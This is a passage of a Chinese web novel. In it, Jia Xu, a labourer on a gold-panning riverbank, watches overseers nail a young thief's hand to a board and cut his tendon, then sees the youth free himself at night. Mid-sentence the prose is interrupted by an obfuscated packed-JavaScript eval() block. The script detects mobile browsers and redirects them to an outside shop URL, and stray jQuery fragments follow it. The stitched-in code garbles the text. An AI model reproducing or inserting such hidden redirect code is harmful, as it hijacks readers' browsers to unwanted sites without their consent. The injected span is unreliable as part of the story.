人为打压?
贾诩缓缓闭上眼,喉间的刺痛还在蔓延,心底却已然冷静如冰。
“再等等,再等等。”
.............
火堆旁,胡铁生望着他仓促离去的背影,慢悠悠喝了一口滚烫汤水,低声喃喃自语。
“这里的世道要变了哦。”
................
次日正午,日头毒辣,炙烤得河滩黄沙滚烫发烫。
棚子简陋粗鄙,四根木桩支起破旧帆布,勉强遮挡毒辣日光。
大铁锅架在土灶上,清水煮着干瘪野菜,混杂少量粗麦麸,寡淡无味。
管事拎着长勺,面无表情地给排队的工人分发吃食,整个队伍死寂沉沉,唯有脚下泥沙摩擦的细碎声响。
贾诩夹在队伍中间,一身粗布短褂沾满黄沙,面色平淡无波。
队伍缓慢前移,就在众人即将领到粗粮野菜、准备低头果腹之时,河滩外侧忽然传来一阵杂乱沉重的脚步声,夹杂着粗蛮的呵斥与麻绳摩擦皮肉的闷响。
“让开!都给老子让开!”
几名面色凶悍、膀大腰圆的壮汉,穿着黑色短打,胳膊上暴起青筋,浑身带着暴戾煞气,粗暴地推开排队的苦力。
他们拖拽着一道单薄的人影,动作粗鲁蛮横,如同拖拽一袋毫无用处的破烂麻布。
人群瞬间骚动,原本整齐的队伍下意识四散避让,无人敢上前直视。
被拖拽的人瘫软在地,浑身沾满暗红血迹与黄沙,衣衫碎裂成一条条破布,皮肉外翻,满头血污糊住眉眼,看不清原本样貌,活脱脱一个血葫芦。
地面被拖出一道长长的血痕,刺目又狰狞。
壮汉们毫不留情,抬手狠狠一甩。
“嘭!”
单薄的身躯重重砸在伙食棚旁的实木厚木板上,沉闷的撞击声听得人头皮发麻。那人浑身抽搐了两下,便再无大幅度挣扎,唯有肩头还在微弱颤动。
领头的管事面色阴鸷,脸上一道陈旧刀疤横贯颧骨,眼神狠戾,扫过在场所有苦力,声音沙哑冷酷,不带一丝人情味:“都看清楚!这就是私自藏金、妄图偷偷逃出淘金滩的下场!”
“规矩摆在这儿,谁要是敢动歪心思,私吞砂金、私自逃窜,他,就是你们的下场!”
话音落下,周遭苦力齐齐缩紧脖颈,下意识埋下脑袋,呼吸都放得极轻,眼底铺满恐惧,无人敢出声。
“去,打开。”
刀疤管事抬手示意,两名壮汉立刻上前,一把揪住地上那人的后领,硬生生将单薄的身躯从木板上拎起。
那人骨骼纤细,身形瘦小,看着不过二十出头,自幼定然常年挨饿,身形干瘪枯瘦,像一只营养不良的瘦猴。
寒光骤然一闪。
一把锋利的短匕被壮汉掏出,刀刃在烈日下泛着冰冷刺骨的银光。
没有多余警告,没有半分迟疑。
壮汉单手扣住少年单薄的右手手腕,猛地按在实木木板之上,锋利匕首精准落下,狠狠穿透皮肉骨骼!
“噗嗤——”
利刃入肉,鲜血瞬间喷涌而出,染红厚重木板。
“诶呦!”惹得众人不敢去看。
匕首死死钉穿手掌,将那只枯瘦的右手硬生生钉死在木板之上。
紧接着,另一人蹲下身,手起刀落,刀刃贴着脚踝筋膜快速划过。
两脆利落的割裂声响起,清脆又残忍。
少年一侧的脚筋,被彻底挑断。
“这也太狠了!”
周围的苦力浑身发抖,有人下意识捂住嘴巴,脸色惨白,连大气都不敢喘。
不少人视线躲闪,不敢直视木板上血腥残忍的一幕。
这片淘金场,从来都不讲人情,人命卑贱如草。
几人皆是缩着肩膀、脑袋凑在一起,一边偷瞄木板上的少年,一边抬手遮挡嘴巴,生怕声音飘进管事耳朵里。
一人指尖死死抠着粗粮饼边缘:“造孽啊……这娃太惨了。”
旁边另一个瘦黑苦力悄悄偏头,余光扫过行刑的木板,喉结滚动:“我早说他别冲动,前几天收到家里寄来的信,他看完信攥着信纸捏得粉碎,整夜蹲在河边发呆,整个人就魔怔了。”
旁边一个满脸风霜的中年苦力压低嗓音,身子往人群里缩了缩,眉头紧锁,满眼不忍:“你们谁还记得?他是开春被人卖到滩上干活的,家里穷得揭不开锅,母亲改嫁,找了个蛮横粗暴的继父。”
另一人咬着牙小声接话:“我听他夜里自言自语,那继父不是东西,家暴成性,前几日动手差点把他母亲活活打死。家里实在养不起孩子,狠心把他年幼的小妹妹转手送人,生死不知。”
“难怪他要偷砂金跑路。”有人叹了口气,指尖捻掉身上沾的沙粒,眼神悲悯,“估摸着是想攒点钱,回去救他妈、找妹妹。他本身就瘦,身子骨弱,还敢孤身冒险,这下……彻底毁了。”
没人敢大声说话,几句低语转瞬消散在风里。
在场苦力大多身世悲苦,共情之下多了几分恻隐,却没人敢出头求情,只能把同情压在心底,更加惶恐地低下头。
唯有贾诩,依旧站在队伍之中,身形挺拔,面色平静无波。
他像是未曾看见眼前残酷的酷刑,神色淡然地接过管事递来的粗粮饼与野菜汤,手指稳稳攥着粗糙的面饼,指尖未有半分颤抖。
他低头慢条斯理吹去汤面上的浮油,动作从容平淡,仿佛眼前的血腥惩戒,不过是无关紧要的尘埃。
看似漠然无视,实则他的目光,始终落在那名被钉在木板上的少年身上。
血污遮盖了少年大半面容,额角破皮翻肉,肩头遍布淤青,身上满是拖拽造成的擦伤,浑身没有一块完好皮肉。任谁都能看出,他此前定然被快马拖拽、暴力殴打,受尽极致折磨。
这般酷刑,寻常壮汉早已痛到昏厥、哭喊求饶。
可这名瘦弱少年,自始至终,没有发出过半声哀嚎。
贾诩猜想应是昏死过去。
可就在此刻,少年艰难地微微抬起沾满血污的头颅。
血水粘连的睫毛微微颤动,一双漆黑通透、毫无迷茫的眼眸,穿透漫天黄沙与血色,精准对上贾诩平静的目光。
四目相对。
那一瞬,贾诩心头微动。
“竟还醒着?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538686|203068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他清晰看见,那双满是血丝、浸着血水的眼睛里,没有崩溃,没有求饶,没有怯懦。
只剩刺骨的冷静,以及深埋眼底、近乎偏执的狠戾与隐忍。
明明身受重创、筋脉断裂、身陷绝境,却依旧傲骨未折,心智清明。
贾诩指尖轻轻摩挲着粗糙的粗粮饼,眼底掠过一抹极淡的赏识,转瞬即逝,无人察觉。
此地野蛮残酷,鱼龙混杂,本以为皆是庸碌贪生之辈,未曾想,竟藏着这般硬骨之人。
此子,可谋大事。
..............
夜色深沉,皓月被黑云遮掩。
白日里喧闹嘈杂的河滩彻底沉寂,劳作一天的苦力们钻进低矮潮湿的草棚,鼾声此起彼伏,混着泥土、汗臭与血腥的浊气,在夜色里沉沉发酵。
今夜,贾诩没有再动身前往河道摸排水域。
白日里那名被钉在木板上的枯瘦少年,勾起了他极大的兴趣。
河滩空旷,白日用来行刑的实木木板孤零零立在伙食棚旁。
周遭没有看守,管事与壮汉早已回去歇息,没人愿意在阴冷的夜里,守着一个废掉的将死之人。
贾诩换了一身干净些的粗布衣衫,身形隐在帆布棚的阴影之下,悄无声息落座在冰冷的硬泥地上。
他脊背轻靠木桩,双腿随意舒展,姿态慵懒又闲散,目光平静,直直落在那名一动不动的少年身上。
自黄昏行刑结束,这少年便维持着姿势,一动不动贴在木板上。
旁人都断定,这孩子撑不过半夜,要么失血过多昏死过去,要么在剧痛里彻底断气。
连草棚里的苦力夜里闲聊,也只是叹一句可怜,没人觉得他能活过这一晚。
唯有贾诩,耐心静坐,冷眼旁观。
时间一点一滴流逝,夜风愈发寒凉,四下寂静得只剩下风吹黄沙的簌簌声响。
不知过了多久,那具僵硬贴在木板上的单薄躯体,终于有了一丝细微动静。
少年肩头微微颤抖,沾满血痂的手指艰难蜷缩。
他没有嘶吼,没有预兆,仅凭残存的意志力,硬生生抬起被钉穿的右手。
咯吱——
血肉摩擦金属,骨头磕碰刀刃,刺耳又牙酸的闷响刺破寂静黑夜。
他徒手握住冰冷的匕首刀柄,皮肉顺着刀刃撕裂,暗红鲜血顺着指缝不断滑落。没有迟疑,没有停顿,他猛地发力,硬生生将穿透手掌的匕首,从血肉之中拔了出来!
噗的一声,鲜血喷涌而出,滴落在黄沙里,瞬间□□燥沙土吸尽,只留下深色暗沉的血坑。
少年身躯一软,重重摔倒在冰冷黄沙之上。
他浑身脱力,半边身子瘫在地上,断筋的双脚毫无知觉,根本无法支撑身体发力。伤口撕裂的剧痛席卷全身,他额角布满密密麻麻的冷汗,牙关死死咬紧,硬是不肯漏出半分痛吟。
全程,贾诩就靠在不远处的木桩旁,神色淡漠,静静看着,如同旁观一场无趣的杂耍。
黄沙吸尽血水,夜风刮过伤口,刺骨的寒意不断侵蚀躯体。
少年趴在地上,粗重的喘息声在寂静夜里格外清晰。